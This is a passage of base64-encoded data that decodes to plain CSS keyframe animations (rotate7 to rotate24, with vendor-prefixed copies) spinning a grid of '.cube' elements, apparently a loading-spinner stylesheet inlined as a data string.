Byb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGU3IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlNyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCg5KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlOCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlOCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlOCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTggew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGU4IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDEwKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlOSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlOSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTkgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlOSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGU5IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgxMSkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTEwIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUxMCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTEwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTEwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTEwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgxMikgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTExIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUxMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMTEgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTExIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDEzKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMTIgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTEyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDE0KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMTMgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTEzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxMyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTEzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMTMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMTUpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxNCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMTYpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxNSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTUgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMTcpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxNiAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTYgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTE2IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMTYgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxNiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgxOCkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTE3IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUxNyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMTcgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxNyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTE3IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDE5KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMTggMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTE4IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxOCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTE4IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMTggew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMjApIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxOSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTkgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTE5IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMTkgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxOSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyMSkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTIwIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyMCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTIwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTIwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTIwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyMikgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTIxIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMjEgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUyMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTIxIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDIzKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMjIgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTIyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMjIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMjIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMjIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDI0KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMjMgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTIzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUyMyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTIzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMjMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMjUpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUyNCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMjQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTI0IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMjQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF